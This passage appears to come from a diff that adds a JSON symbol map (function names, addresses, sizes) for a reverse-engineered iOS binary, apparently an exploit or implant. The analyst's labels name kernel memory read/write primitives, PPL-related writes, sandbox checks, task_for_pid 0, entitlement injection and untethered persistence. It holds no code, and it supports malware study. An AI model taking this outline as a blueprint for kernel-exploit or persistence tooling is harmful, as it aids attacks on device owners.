"address": "0x1F964", + "size": "0xC4" + }, + { + "name": "sub_1FA28", + "address": "0x1FA28", + "size": "0x54" + }, + { + "name": "sub_1FA7C", + "address": "0x1FA7C", + "size": "0x60" + }, + { + "name": "sub_1FADC", + "address": "0x1FADC", + "size": "0x1B8" + }, + { + "name": "sub_1FC94", + "address": "0x1FC94", + "size": "0x104" + }, + { + "name": "sub_1FD98", + "address": "0x1FD98", + "size": "0xA0" + }, + { + "name": "driver_cmd_setup_untethered_persistence_maybe", + "address": "0x1FE38", + "size": "0x578" + }, + { + "name": "sub_203B0", + "address": "0x203B0", + "size": "0xB8" + }, + { + "name": "sub_20468", + "address": "0x20468", + "size": "0x28" + }, + { + "name": "sub_20490", + "address": "0x20490", + "size": "0x94" + }, + { + "name": "sub_20524", + "address": "0x20524", + "size": "0x108" + }, + { + "name": "sub_2062C", + "address": "0x2062C", + "size": "0x154" + }, + { + "name": "sub_20780", + "address": "0x20780", + "size": "0x1B0" + }, + { + "name": "sub_20930", + "address": "0x20930", + "size": "0xE4" + }, + { + "name": "sub_20A14", + "address": "0x20A14", + "size": "0x1EC" + }, + { + "name": "sub_20C00", + "address": "0x20C00", + "size": "0x64" + }, + { + "name": "sub_20C64", + "address": "0x20C64", + "size": "0xC0" + }, + { + "name": "sub_20D24", + "address": "0x20D24", + "size": "0x6C" + }, + { + "name": "sub_20D90", + "address": "0x20D90", + "size": "0x2D0" + }, + { + "name": "sub_21060", + "address": "0x21060", + "size": "0x194" + }, + { + "name": "sub_211F4", + "address": "0x211F4", + "size": "0xC" + }, + { + "name": "sub_21200", + "address": "0x21200", + "size": "0x104" + }, + { + "name": "sub_21304", + "address": "0x21304", + "size": "0x84" + }, + { + "name": "sub_21388", + "address": "0x21388", + "size": "0x4C" + }, + { + "name": "sub_213D4", + "address": "0x213D4", + "size": "0x468" + }, + { + "name": "sub_2183C", + "address": "0x2183C", + "size": "0x8" + }, + { + "name": "sub_21844", + "address": "0x21844", + "size": "0x64" + }, + { + "name": "sub_218A8", + "address": "0x218A8", + "size": "0x64" + }, + { + "name": "sub_2190C", + "address": "0x2190C", + "size": "0x54" + }, + { + "name": "sub_21960", + "address": "0x21960", + "size": "0x7E4" + }, + { + "name": "sub_22144", + "address": "0x22144", + "size": "0x9C" + }, + { + "name": "sub_221E0", + "address": "0x221E0", + "size": "0x110" + }, + { + "name": "sub_222F0", + "address": "0x222F0", + "size": "0xB4" + }, + { + "name": "sub_223A4", + "address": "0x223A4", + "size": "0xC0" + }, + { + "name": "sub_22464", + "address": "0x22464", + "size": "0xC" + }, + { + "name": "sub_22470", + "address": "0x22470", + "size": "0x3C" + }, + { + "name": "sub_224AC", + "address": "0x224AC", + "size": "0x8" + }, + { + "name": "sub_224B4", + "address": "0x224B4", + "size": "0x8" + }, + { + "name": "sub_224BC", + "address": "0x224BC", + "size": "0x218" + }, + { + "name": "sub_226D4", + "address": "0x226D4", + "size": "0x44" + }, + { + "name": "sub_22718", + "address": "0x22718", + "size": "0x160" + }, + { + "name": "sub_22878", + "address": "0x22878", + "size": "0x6C" + }, + { + "name": "sub_228E4", + "address": "0x228E4", + "size": "0x1F8" + }, + { + "name": "sub_22ADC", + "address": "0x22ADC", + "size": "0x1CC" + }, + { + "name": "sub_22CA8", + "address": "0x22CA8", + "size": "0xC0" + }, + { + "name": "nullsub_2", + "address": "0x22D68", + "size": "0x4" + }, + { + "name": "sub_22D6C", + "address": "0x22D6C", + "size": "0x5DC" + }, + { + "name": "sub_23348", + "address": "0x23348", + "size": "0xDC" + }, + { + "name": "sub_23424", + "address": "0x23424", + "size": "0x280" + }, + { + "name": "sub_236A4", + "address": "0x236A4", + "size": "0x5C" + }, + { + "name": "sub_23700", + "address": "0x23700", + "size": "0x60" + }, + { + "name": "sub_23760", + "address": "0x23760", + "size": "0xFC" + }, + { + "name": "sub_2385C", + "address": "0x2385C", + "size": "0xE4" + }, + { + "name": "sub_23940", + "address": "0x23940", + "size": "0x98" + }, + { + "name": "sub_239D8", + "address": "0x239D8", + "size": "0x358" + }, + { + "name": "sub_23D30", + "address": "0x23D30", + "size": "0x248" + }, + { + "name": "sub_23F78", + "address": "0x23F78", + "size": "0x154" + }, + { + "name": "check_sandboxed", + "address": "0x240CC", + "size": "0xF0" + }, + { + "name": "another_sandbox_check", + "address": "0x241BC", + "size": "0x4C" + }, + { + "name": "sub_24208", + "address": "0x24208", + "size": "0x160" + }, + { + "name": "sub_24368", + "address": "0x24368", + "size": "0x160" + }, + { + "name": "sub_244C8", + "address": "0x244C8", + "size": "0xF4" + }, + { + "name": "get_kext_base_addr", + "address": "0x245BC", + "size": "0x64" + }, + { + "name": "sub_24620", + "address": "0x24620", + "size": "0x284" + }, + { + "name": "sub_248A4", + "address": "0x248A4", + "size": "0x40" + }, + { + "name": "sub_248E4", + "address": "0x248E4", + "size": "0x24" + }, + { + "name": "sub_24908", + "address": "0x24908", + "size": "0x4C" + }, + { + "name": "sub_24954", + "address": "0x24954", + "size": "0x64" + }, + { + "name": "sub_249B8", + "address": "0x249B8", + "size": "0xAC" + }, + { + "name": "sub_24A64", + "address": "0x24A64", + "size": "0x6C" + }, + { + "name": "sub_24AD0", + "address": "0x24AD0", + "size": "0x68" + }, + { + "name": "sub_24B38", + "address": "0x24B38", + "size": "0x88" + }, + { + "name": "sub_24BC0", + "address": "0x24BC0", + "size": "0x1A4" + }, + { + "name": "sub_24D64", + "address": "0x24D64", + "size": "0x44" + }, + { + "name": "sub_24DA8", + "address": "0x24DA8", + "size": "0x218" + }, + { + "name": "sub_24FC0", + "address": "0x24FC0", + "size": "0xA8" + }, + { + "name": "sub_25068", + "address": "0x25068", + "size": "0x5C" + }, + { + "name": "sub_250C4", + "address": "0x250C4", + "size": "0x98" + }, + { + "name": "sub_2515C", + "address": "0x2515C", + "size": "0x8" + }, + { + "name": "sub_25164", + "address": "0x25164", + "size": "0x40" + }, + { + "name": "sub_251A4", + "address": "0x251A4", + "size": "0xF0" + }, + { + "name": "fd_close", + "address": "0x25294", + "size": "0x40" + }, + { + "name": "fd_open_dev_null", + "address": "0x252D4", + "size": "0x60" + }, + { + "name": "kreadbuf_via_dev_null_simple", + "address": "0x25334", + "size": "0x164" + }, + { + "name": "sub_25498", + "address": "0x25498", + "size": "0x164" + }, + { + "name": "sub_255FC", + "address": "0x255FC", + "size": "0x70" + }, + { + "name": "sub_2566C", + "address": "0x2566C", + "size": "0xC0" + }, + { + "name": "kreadbuf_last_1", + "address": "0x2572C", + "size": "0x8" + }, + { + "name": "sub_25734", + "address": "0x25734", + "size": "0xD0" + }, + { + "name": "sub_25804", + "address": "0x25804", + "size": "0x468" + }, + { + "name": "sub_25C6C", + "address": "0x25C6C", + "size": "0x144" + }, + { + "name": "sub_25DB0", + "address": "0x25DB0", + "size": "0x38" + }, + { + "name": "sub_25DE8", + "address": "0x25DE8", + "size": "0x6C" + }, + { + "name": "kreadbuf_via_dev_null_only", + "address": "0x25E54", + "size": "0x3B0" + }, + { + "name": "sub_26204", + "address": "0x26204", + "size": "0x4CC" + }, + { + "name": "sub_266D0", + "address": "0x266D0", + "size": "0x118" + }, + { + "name": "sub_267E8", + "address": "0x267E8", + "size": "0x110" + }, + { + "name": "sub_268F8", + "address": "0x268F8", + "size": "0x208" + }, + { + "name": "sub_26B00", + "address": "0x26B00", + "size": "0xE4" + }, + { + "name": "sub_26BE4", + "address": "0x26BE4", + "size": "0x1EC" + }, + { + "name": "kreadbuf_via_IOConnectCallMethod", + "address": "0x26DD0", + "size": "0x3E0" + }, + { + "name": "sub_271B0", + "address": "0x271B0", + "size": "0x264" + }, + { + "name": "physmap_maybe", + "address": "0x27414", + "size": "0x64" + }, + { + "name": "sub_27478", + "address": "0x27478", + "size": "0x8C" + }, + { + "name": "sub_27504", + "address": "0x27504", + "size": "0x304" + }, + { + "name": "sub_27808", + "address": "0x27808", + "size": "0x898" + }, + { + "name": "sub_280A0", + "address": "0x280A0", + "size": "0x7C" + }, + { + "name": "sub_2811C", + "address": "0x2811C", + "size": "0xD4" + }, + { + "name": "sub_281F0", + "address": "0x281F0", + "size": "0x98" + }, + { + "name": "sub_28288", + "address": "0x28288", + "size": "0xDC" + }, + { + "name": "sub_28364", + "address": "0x28364", + "size": "0x4DC" + }, + { + "name": "kread64_outptr", + "address": "0x28840", + "size": "0x64" + }, + { + "name": "sub_288A4", + "address": "0x288A4", + "size": "0x30" + }, + { + "name": "sub_288D4", + "address": "0x288D4", + "size": "0x40C" + }, + { + "name": "sub_28CE0", + "address": "0x28CE0", + "size": "0x64" + }, + { + "name": "sub_28D44", + "address": "0x28D44", + "size": "0xB8" + }, + { + "name": "noppl_kwrite32", + "address": "0x28DFC", + "size": "0x194" + }, + { + "name": "sub_28F90", + "address": "0x28F90", + "size": "0x624" + }, + { + "name": "kread32_outptr", + "address": "0x295B4", + "size": "0x134" + }, + { + "name": "kreadbuf_via_dev_null_and_thread_state", + "address": "0x296E8", + "size": "0x3E8" + }, + { + "name": "kreadbuf_via_tfp0", + "address": "0x29AD0", + "size": "0xA8" + }, + { + "name": "kread64_internal", + "address": "0x29B78", + "size": "0x138" + }, + { + "name": "sub_29CB0", + "address": "0x29CB0", + "size": "0x7C" + }, + { + "name": "sub_29D2C", + "address": "0x29D2C", + "size": "0x5C" + }, + { + "name": "krw_xpac_vaddr", + "address": "0x29D88", + "size": "0x70" + }, + { + "name": "kwrite64_last_arg", + "address": "0x29DF8", + "size": "0x2D8" + }, + { + "name": "kwrite64", + "address": "0x2A0D0", + "size": "0x8" + }, + { + "name": "sub_2A0D8", + "address": "0x2A0D8", + "size": "0xB0" + }, + { + "name": "kwritebuf_last_1", + "address": "0x2A188", + "size": "0x8" + }, + { + "name": "sub_2A190", + "address": "0x2A190", + "size": "0x70" + }, + { + "name": "sub_2A200", + "address": "0x2A200", + "size": "0x160" + }, + { + "name": "kreadbuf", + "address": "0x2A360", + "size": "0x120" + }, + { + "name": "kreadbuf_last_0", + "address": "0x2A480", + "size": "0x8" + }, + { + "name": "noppl_kwritebuf", + "address": "0x2A488", + "size": "0xE4" + }, + { + "name": "kwritebuf_last_0", + "address": "0x2A56C", + "size": "0x8" + }, + { + "name": "ppl_kwrite32", + "address": "0x2A574", + "size": "0xC8" + }, + { + "name": "sub_2A63C", + "address": "0x2A63C", + "size": "0xD8" + }, + { + "name": "kwritebuf_universal", + "address": "0x2A714", + "size": "0xE0" + }, + { + "name": "sub_2A7F4", + "address": "0x2A7F4", + "size": "0xB0" + }, + { + "name": "sub_2A8A4", + "address": "0x2A8A4", + "size": "0x218" + }, + { + "name": "sub_2AABC", + "address": "0x2AABC", + "size": "0x54" + }, + { + "name": "sub_2AB10", + "address": "0x2AB10", + "size": "0x8" + }, + { + "name": "sub_2AB18", + "address": "0x2AB18", + "size": "0x280" + }, + { + "name": "sub_2AD98", + "address": "0x2AD98", + "size": "0x1C" + }, + { + "name": "sub_2ADB4", + "address": "0x2ADB4", + "size": "0x288" + }, + { + "name": "sub_2B03C", + "address": "0x2B03C", + "size": "0xAC" + }, + { + "name": "sub_2B0E8", + "address": "0x2B0E8", + "size": "0x37C" + }, + { + "name": "physwrite64_maybe", + "address": "0x2B464", + "size": "0x64" + }, + { + "name": "physwritebuf_ppl_MAYBENOTSURE", + "address": "0x2B4C8", + "size": "0xF4" + }, + { + "name": "sub_2B5BC", + "address": "0x2B5BC", + "size": "0x1CC" + }, + { + "name": "sub_2B788", + "address": "0x2B788", + "size": "0x1C4" + }, + { + "name": "sub_2B94C", + "address": "0x2B94C", + "size": "0x258" + }, + { + "name": "sub_2BBA4", + "address": "0x2BBA4", + "size": "0xDC" + }, + { + "name": "sub_2BC80", + "address": "0x2BC80", + "size": "0x70" + }, + { + "name": "sub_2BCF0", + "address": "0x2BCF0", + "size": "0x144" + }, + { + "name": "sub_2BE34", + "address": "0x2BE34", + "size": "0xCC" + }, + { + "name": "sub_2BF00", + "address": "0x2BF00", + "size": "0xDC" + }, + { + "name": "sub_2BFDC", + "address": "0x2BFDC", + "size": "0x68" + }, + { + "name": "sub_2C044", + "address": "0x2C044", + "size": "0xB4" + }, + { + "name": "sub_2C0F8", + "address": "0x2C0F8", + "size": "0x200" + }, + { + "name": "sub_2C2F8", + "address": "0x2C2F8", + "size": "0x6B8" + }, + { + "name": "sub_2C9B0", + "address": "0x2C9B0", + "size": "0x7C" + }, + { + "name": "sub_2CA2C", + "address": "0x2CA2C", + "size": "0x54" + }, + { + "name": "sub_2CA80", + "address": "0x2CA80", + "size": "0xD4" + }, + { + "name": "sub_2CB54", + "address": "0x2CB54", + "size": "0x50" + }, + { + "name": "krw_inject_entitlements2_maybe", + "address": "0x2CBA4", + "size": "0x464" + }, + { + "name": "sub_2D008", + "address": "0x2D008", + "size": "0x2AC" + }, + { + "name": "sub_2D2B4", + "address": "0x2D2B4", + "size": "0xC0" + }, + { + "name": "sub_2D374", + "address": "0x2D374", + "size": "0x84" + }, + { + "name": "sub_2D3F8", + "address": "0x2D3F8", + "size": "0x108" + }, + { + "name": "sub_2D500", + "address": "0x2D500", + "size": "0x14C" + }, + { + "name": "sub_2D64C", + "address": "0x2D64C", + "size": "0xB4" + }, + { + "name": "sub_2D700", + "address": "0x2D700", + "size": "0x234" + }, + { + "name": "sub_2D934", + "address": "0x2D934", + "size": "0x30C" + }, + { + "name": "sub_2DC40", + "address": "0x2DC40", + "size": "0x224" + }, + { + "name": "sub_2DE64", + "address": "0x2DE64", + "size": "0x70" + }, + { + "name": "sub_2DED4", + "address": "0x2DED4", + "size": "0x138" + }, + { + "name": "sub_2E00C", + "address": "0x2E00C", + "size": "0x304" + }, + { + "name": "sub_2E310", + "address": "0x2E310", + "size": "0x1D0" + }, + { + "name": "sub_2E4E0", + "address": "0x2E4E0", + "size": "0xE0" + }, + { + "name": "sub_2E5C0", + "address": "0x2E5C0", + "size": "0x58C" + }, + { + "name": "sub_2EB4C", + "address": "0x2EB4C", + "size": "0xD0" + }, + { + "name": "sub_2EC1C", + "address": "0x2EC1C", + "size": "0xF8" + }, + { + "name": "sub_2ED14", + "address": "0x2ED14", + "size": "0x480" + }, + { + "name": "sub_2F194", + "address": "0x2F194", + "size": "0x100" + }, + { + "name": "sub_2F294", + "address": "0x2F294", + "size": "0x34" + }, + { + "name": "sub_2F2C8", + "address": "0x2F2C8", + "size": "0x4F4" + }, + { + "name": "sub_2F7BC", + "address": "0x2F7BC", + "size": "0xDC" + }, + { + "name": "sub_2F898", + "address": "0x2F898", + "size": "0x94" + }, + { + "name": "sub_2F92C", + "address": "0x2F92C", + "size": "0x54" + }, + { + "name": "sub_2F980", + "address": "0x2F980", + "size": "0x54" + }, + { + "name": "sub_2F9D4", + "address": "0x2F9D4", + "size": "0x50" + }, + { + "name": "sub_2FA24", + "address": "0x2FA24", + "size": "0x1EF0" + }, + { + "name": "sub_31914", + "address": "0x31914", + "size": "0x27C" + }, + { + "name": "sub_31B90", + "address": "0x31B90", + "size": "0x430" + }, + { + "name": "sub_31FC0", + "address": "0x31FC0", + "size": "0xA4" + }, + { + "name": "sub_32064", + "address": "0x32064", + "size": "0x88" + }, + { + "name": "sub_320EC", + "address": "0x320EC", + "size": "0xD4" + }, + { + "name": "sub_321C0", + "address": "0x321C0", + "size": "0xE4" + }, + { + "name": "sub_322A4", + "address": "0x322A4", + "size": "0x34" + }, + { + "name": "sub_322D8", + "address": "0x322D8", + "size": "0xEC" + }, + { + "name": "sub_323C4", + "address": "0x323C4", + "size": "0x174" + }, + { + "name": "sub_32538", + "address": "0x32538", + "size": "0xA4" + }, + { + "name": "sub_325DC", + "address": "0x325DC", + "size": "0x74" + }, + { + "name": "sub_32650", + "address": "0x32650", + "size": "0x80" + }, + { + "name": "sub_326D0", + "address": "0x326D0", + "size": "0x5C" + }, + { + "name": "sub_3272C", + "address": "0x3272C", + "size": "0xF4" + }, + { + "name": "sub_32820", + "address": "0x32820", + "size": "0x84" + }, + { + "name": "sub_328A4", + "address": "0x328A4", + "size": "0x114" + }, + { + "name": "sub_329B8", + "address": "0x329B8", + "size": "0xAC" + }, + { + "name": "sub_32A64", + "address": "0x32A64", + "size": "0xAC" + }, + { + "name": "sub_32B10", + "address": "0x32B10", + "size": "0xB8" + }, + { + "name": "sub_32BC8", + "address": "0x32BC8", + "size": "0xB0" + }, + { + "name": "port_name_to_kaddr", + "address": "0x32C78", + "size": "0xAC" + }, + { + "name": "sub_32D24", + "address": "0x32D24", + "size": "0x48" + }, + { + "name": "sub_32D6C", + "address": "0x32D6C", + "size": "0x14" + }, + { + "name": "kreadptr", + "address": "0x32D80", + "size": "0x104" + }, + { + "name": "sub_32E84", + "address": "0x32E84", + "size": "0x98" + }, + { + "name": "sub_32F1C", + "address": "0x32F1C", + "size": "0x17C" + }, + { + "name": "sub_33098", + "address": "0x33098", + "size": "0xD0" + }, + { + "name": "sub_33168", + "address": "0x33168", + "size": "0x68" + }, + { + "name": "sub_331D0", + "address": "0x331D0", + "size": "0x68" + }, + { + "name": "sub_33238", + "address": "0x33238", + "size": "0x30" + }, + { + "name": "sub_33268", + "address": "0x33268", + "size": "0x9C" + }, + { + "name": "sub_33304", + "address": "0x33304", + "size": "0x88" + }, + { + "name": "sub_3338C", + "address": "0x3338C", + "size": "0x88" + }, + { + "name": "krw_task_for_pid_0", + "address": "0x33414", + "size": "0x8" + }, + { + "name": "sub_3341C", + "address": "0x3341C", + "size": "0x290" + }, + { + "name": "krw_task_for_name", + "address": "0x336AC", + "size": "0xC" + }, + { + "name": "sub_336B8", + "address": "0x336B8", + "size": "0x174" + }, + { + "name": "sub_3382C", + "address": "0x3382C", + "size": "0x188" + }, + { + "name": "sub_339B4", + "address": "0x339B4", + "size": "0x68" + }, + { + "name": "sub_33A1C", + "address": "0x33A1C", + "size": "0x14" + }, + { + "name": "task_get_ipc_port", + "address": "0x33A30", + "size": "0x58" + }, + { + "name": "sub_33A88", + "address": "0x33A88", + "size": "0x110" + }, + { + "name": "sub_33B98", + "address": "0x33B98", + "size": "0x118" + }, + { + "name": "sub_33CB0", + "address": "0x33CB0", + "size": "0x88" + }, + { + "name": "sub_33D38", + "address": "0x33D38", + "size": "0x154" + }, + { + "name": "sub_33E8C", + "address": "0x33E8C", + "size": "0x4C" + }, + { + "name": "sub_33ED8", + "address": "0x33ED8", + "size": "0x124" + }, + { + "name": "sub_33FFC", + "address": "0x33FFC", + "size": "0x4C" + }, + { + "name": "sub_34048", + "address": "0x34048", + "size": "0x90" + }, + { + "name": "sub_340D8", + "address": "0x340D8", + "size": "0x54" + }, + { + "name": "sub_3412C", + "address": "0x3412C", + "size": "0x16C" + }, + { + "name": "sub_34298", + "address": "0x34298", + "size": "0xC0" + }, + { + "name": "sub_34358", + "address": "0x34358", + "size": "0x88" + }, + { + "name": "sub_343E0", + "address": "0x343E0", + "size": "0x1F4" + }, + { + "name": "sub_345D4", + "address": "0x345D4", + "size": "0xAC" + }, + { + "name": "sub_34680", + "address": "0x34680", + "size": "0xD4" + }, + { + "name": "sub_34754", + "address": "0x34754", + "size": "0xC8" + }, + { + "name": "sub_3481C", + "address": "0x3481C", + "size": "0xA0" + }, + { + "name": "sub_348BC", + "address": "0x348BC", + "size": "0x70" + }, + { + "name": "sub_3492C", + "address": "0x3492C", + "size": "0x9C" + }, + { + "name": "sub_349C8", + "address": "0x349C8", + "size": "0x78" + }, + { + "name": "sub_34A40", + "address": "0x34A40", + "size": "0x2D4" + }, + { + "name": "sub_34D14", + "address": "0x34D14", + "size": "0x44" + }, + { + "name": "sub_34D58", + "address": "0x34D58", + "size": "0x204" + }, + { + "name": "sub_34F5C", + "address": "0x34F5C", + "size": "0x9C" + }, + { + "name": "sub_34FF8", + "address": "0x34FF8", + "size": "0xC" + }, + { + "name": "sub_35004", + "address": "0x35004", + "size": "0x3D8" + }, + { + "name": "sub_353DC", + "address": "0x353DC", + "size": "0x44" + }, + { + "name": "sub_35420", + "address": "0x35420", + "size": "0x84" + }, + { + "name": "sub_354A4", + "address": "0x354A4", + "size": "0x5C" + }, + { + "name": "sub_35500", + "address": "0x35500", + "size": "0x68" + }, + { + "name": "sub_35568", + "address": "0x35568", + "size": "0xA8" + }, + { + "name": "sub_35610", + "address": "0x35610", + "size": "0xB8" + }, + { + "name": "sub_356C8", + "address": "0x356C8", + "size": "0xD4" + }, + { + "name": "sub_3579C", + "address": "0x3579C", + "size": "0x19C" + }, + { + "name": "sub_35938", + "address": "0x35938", + "size": "0x118" + }, + { + "name": "sub_35A50", + "address": "0x35A50", + "size": "0x90" + }, + { + "name": "sub_35AE0", + "address": "0x35AE0", + "size": "0x2B4" + }, + { + "name": "sub_35D94", + "address": "0x35D94", + "size": "0x84" + }, + { + "name": "sub_35E18", + "address": "0x35E18", + "size": "0x74" + }, + { + "name": "sub_35E8C", + "address": "0x35E8C", + "size": "0x40" + }, + { + "name": "sub_35ECC", + "address": "0x35ECC", + "size": "0x10C" + }, + { + "name": "sub_35FD8", + "address": "0x35FD8", + "size": "0x28" + }, + { + "name": "sub_36000", + "address": "0x36000", + "size": "0x78" + }, + { + "name": "krw_ctx_set_flag", + "address": "0x36078", + "size": "0x10" + }, + { + "name": "sub_36088", + "address": "0x36088", + "size": "0x10" + }, + { + "name": "krw_ctx_has_flag", + "address": "0x36098", + "size": "0x10" + }, + { + "name": "sub_360A8", + "address": "0x360A8", + "size": "0xB8" + }, + { + "name": "sub_36160", + "address": "0x36160", + "size": "0x7C" + }, + { + "name": "sub_361DC", + "address": "0x361DC", + "size": "0x6C" + }, + { + "name": "voucher_create_mach_voucher", + "address": "0x36248", + "size": "0x54" + }, + { + "name": "create_mach_port_with_a2", + "address": "0x3629C", + "size": "0x94" + }, + { + "name": "create_mach_port", + "address": "0x36330", + "size": "0xB4" + }, + { + "name": "sub_363E4", + "address": "0x363E4", + "size": "0x9C" + }, + { + "name": "sub_36480", + "address": "0x36480", + "size": "0x790" + }, + { + "name": "sub_36C10", + "address": "0x36C10", + "size": "0x23C" + }, + { + "name": "sub_36E4C", + "address": "0x36E4C", + "size": "0x3C4" + }, + { + "name": "sub_37210", + "address": "0x37210", + "size": "0x75C" + }, + { + "name": "sub_3796C", + "address": "0x3796C", + "size": "0xE4" + }, + { + "name": "sub_37A50", + "address": "0x37A50", + "size": "0x200" + }, + { + "name": "sub_37C50", + "address": "0x37C50", + "size": "0x308" + }, + { + "name": "sub_37F58", + "address": "0x37F58", + "size": "0xDC" + }, + { + "name": "sub_38034", + "address": "0x38034", + "size": "0x124" + }, + { + "name": "sub_38158", + "address": "0x38158", + "size": "0x220" + }, + { + "name": "sub_38378", + "address": "0x38378", + "size": "0xB0" + }, + { + "name": "sub_38428", + "address": "0x38428", + "size": "0x11C" + }, + { + "name": "sub_38544", + "address": "0x38544", + "size": "0xB0" + }, + { + "name": "sub_385F4", + "address": "0x385F4", + "size": "0xB8" + }, + { + "name": "sub_386AC", + "address": "0x386AC", + "size": "0xB8" + }, + { + "name": "sub_38764", + "address": "0x38764", + "size": "0x10C" + }, + { + "name": "sub_38870", + "address": "0x38870", + "size": "0x35C" + }, + { + "name": "sub_38BCC", + "address": "0x38BCC", + "size": "0xC0" + }, + { + "name": "sub_38C8C", + "address": "0x38C8C", + "size": "0xD4" + }, + { + "name": "sub_38D60", + "address": "0x38D60", + "size": "0xEC" + }, + { + "name": "physwritebuf_idk_maybe", + "address": "0x38E4C", + "size": "0xEC" + }, + { + "name": "sub_38F38", + "address": "0x38F38", + "size": "0x34" + }, + { + "name": "sub_38F6C", + "address": "0x38F6C", + "size": "0x40" + }, + { + "name": "sub_38FAC", + "address": "0x38FAC", + "size": "0x28" + }, + { + "name": "sub_38FD4", + "address": "0x38FD4", + "size": "0xBC" + }, + { + "name": "sub_39090", + "address": "0x39090", + "size": "0xC0" + }, + { + "name": "sub_39150", + "address": "0x39150", + "size": "0x738" + }, + { + "name": "sub_39888", + "address": "0x39888", + "size": "0x19C" + }, + { + "name": "sub_39A24", + "address": "0x39A24", + "size": "0xF0" + }, + { + "name": "sub_39B14", + "address": "0x39B14", + "size": "0x5C" + }, + { + "name": "sub_39B70", + "address": "0x39B70", + "size": "0x150" + }, + { + "name": "sub_39CC0", + "address": "0x39CC0", + "size": "0x1EC" + }, + { + "name": "create_pthread_something", + "address": "0x39EAC", + "size": "0x130" + }, + { + "name": "sub_39FDC", + "address": "0x39FDC", + "size": "0x124" + }, + { + "name": "pthread_create_and_join", + "address": "0x3A100", + "size": "0x50" + }, + { + "name": "sub_3A150", + "address": "0x3A150", + "size": "0x42C" + }, + { + "name": "sub_3A57C", + "address": "0x3A57C", + "size": "0x74" + }, + { + "name": "sub_3A5F0", + "address": "0x3A5F0", + "size": "0x13C" + }, + { + "name": "sub_3A72C", + "address": "0x3A72C", + "size": "0x14C" + }, + { + "name": "sub_3A878", + "address": "0x3A878", + "size": "0x64" + }, + { + "name": "sub_3A8DC", + "address": "0x3A8DC", + "size": "0x150" + }, + { + "name": "sub_3AA2C", + "address": "0x3AA2C", + "size": "0x300" + }, + { + "name": "sub_3AD2C", + "address": "0x3AD2C", + "size": "0x168" + }, + { + "name": "sub_3AE94", + "address": "0x3AE94", + "size": "0x608" + }, + { + "name": "sub_3B49C", + "address": "0x3B49C", + "size": "0x88" + }, + { + "name": "sub_3B524", + "address": "0x3B524", + "size": "0x2BC" + }, + { + "name": "sub_3B7E0", + "address": "0x3B7E0", + "size": "0x4A8" + }, + { + "name": "krw_task_for_pid", + "address": "0x3BC88", + "size": "0xC" + }, + { + "name": "krw_task_for_pid_or_name", + "address": "0x3BC94", + "size": "0x1A8" + }, + { + "name": "sub_3BE3C", + "address": "0x3BE3C", + "size": "0x420" + }, + { + "name": "sub_3C25C", + "address": "0x3C25C", + "size": "0x13C" + }, + { + "name": "sub_3C398", + "address": "0x3C398", + "size": "0xB8" + }, + { + "name": "sub_3C450", + "address": "0x3C450", + "size": "0x554" + }, + { + "name": "sub_3C9A4", + "address": "0x3C9A4", + "size": "0x304" + }, + { + "name": "driver_init2_1", + "address": "0x3CCA8", + "size": "0x1530" + }, + { + "name": "sub_3E1D8", + "address": "0x3E1D8", + "size": "0x254" + }, + { + "name": "driver_init2", + "address": "0x3E42C", + "size": "0xA4" + }, + { + "name": "sub_3E4D0", + "address": "0x3E4D0", + "size": "0x80" + }, + { + "name": "driver_dispatch_command2", + "address": "0x3E550", + "size": "0x30" + }, + { + "name": "driver_dispatch_command3", + "address": "0x3E580", + "size": "0xC20" + }, + { + "name": "sub_3F2E0", + "address": "0x3F2E0", + "size": "0x1DC" + }, + { + "name": "driver_close_internal", + "address": "0x3F4BC", + "size": "0x404" + }, + { + "name": "set_flags_something_INEEDTOLOOK_sub_3F8C0", + "address": "0x3F8C0", + "size": "0xE0" + }, + { + "name": "sub_3F9A0", + "address": "0x3F9A0", + "size": "0x8C" + }, + { + "name": "sub_3FA2C", + "address": "0x3FA2C", + "size": "0x158" + }, + { + "name": "sub_3FB84", + "address": "0x3FB84", + "size": "0x2E4" + }, + { + "name": "sub_3FE68", + "address": "0x3FE68", + "size": "0x6C" + }, + { + "name": "sub_3FED4", + "address": "0x3FED4", + "size": "0xA4" + }, + { + "name": "sub_3FF78", + "address": "0x3FF78", + "size": "0x14" + }, + { + "name": "sub_3FF8C", + "address": "0x3FF8C", + "size": "0x14" + }, + { + "name": "sub_3FFA0", + "address": "0x3FFA0", + "size": "0x84" + }, + { + "name": "sub_40024", + "address": "0x40024", + "size": "0x14" + }, + { + "name": "sub_40038", + "address": "0x40038", + "size": "0x114" + }, + { + "name": "sub_4014C", + "address": "0x4014C", + "size": "0x58" + }, + { + "name": "sub_401A4", + "address": "0x401A4", + "size": "0x6C" + }, + { + "name": "sub_40210", + "address": "0x40210", + "size": "0x20" + }, + { + "name": "sub_40230", + "address": "0x40230", + "size": "0x9C" + }, + { + "name": "sub_402CC", + "address": "0x402CC", + "size": "0x98" + }, + { + "name": "sub_40364", + "address": "0x40364", + "size": "0x7C" + }, + { + "name": "sub_403E0", + "address": "0x403E0", + "size": "0x24C" + }, + { + "name": "sub_4062C", + "address": "0x4062C", + "size": "0x250" + }, + { + "name": "sub_4087C", + "address": "0x4087C", + "size": "0x440" + }, + { + "name": "sub_40CBC", + "address": "0x40CBC", + "size": "0x2EC" + }, + { + "name": "j__fileport_makeport", + "address": "0x40FA8", + "size": "0x4" + }, + { + "name": "j__fileport_makefd", + "address": "0x40FAC", + "size": "0x4" + }, + { + "name": "sub_40FB0", + "address": "0x40FB0", + "size": "0x2C" + }, + { + "name": "sub_40FDC", + "address": "0x40FDC", + "size": "0x30" + }, + { + "name": "sub_4100C", + "address": "0x4100C", + "size": "0x30" + }, + { + "name": "j___get_cpu_capabilities", + "address": "0x4103C", + "size": "0x4" + }, + { + "name": "sub_41040", + "address": "0x41040", + "size": "0x2C" + }, + { + "name": "_CC_SHA1_Final", + "address": "0x4106C", + "size": "0x10" + }, + { + "name": "_CC_SHA1_Init", + "address": "0x4107C", + "size": "0x10" + }, + { + "name": "_CC_SHA1_Update", + "address": "0x4108C", + "size": "0x10" + }, + { + "name": "_CC_SHA256_Final", + "address": "0x4109C", + "size": "0x10" + }, + { + "name": "_CC_SHA256_Init", + "address": "0x410AC", + "size": "0x10" + }, + { + "name": "_CC_SHA256_Update", + "address": "0x410BC", + "size": "0x10" + }, + { + "name": "_CC_SHA384_Final", + "address": "0x410CC", + "size": "0x10" + }, + { + "name": "_CC_SHA384_Init", + "address": "0x410DC", + "size": "0x10" + }, + { + "name": "_CC_SHA384_Update", + "address": "0x410EC", + "size": "0x10" + }, + { + "name": "_CFArrayAppendValue", + "address": "0x410FC", + "size": "0x10" + }, + { + "name": "_CFArrayApplyFunction", + "address": "0x4110C", + "size": "0x10" + }, + { 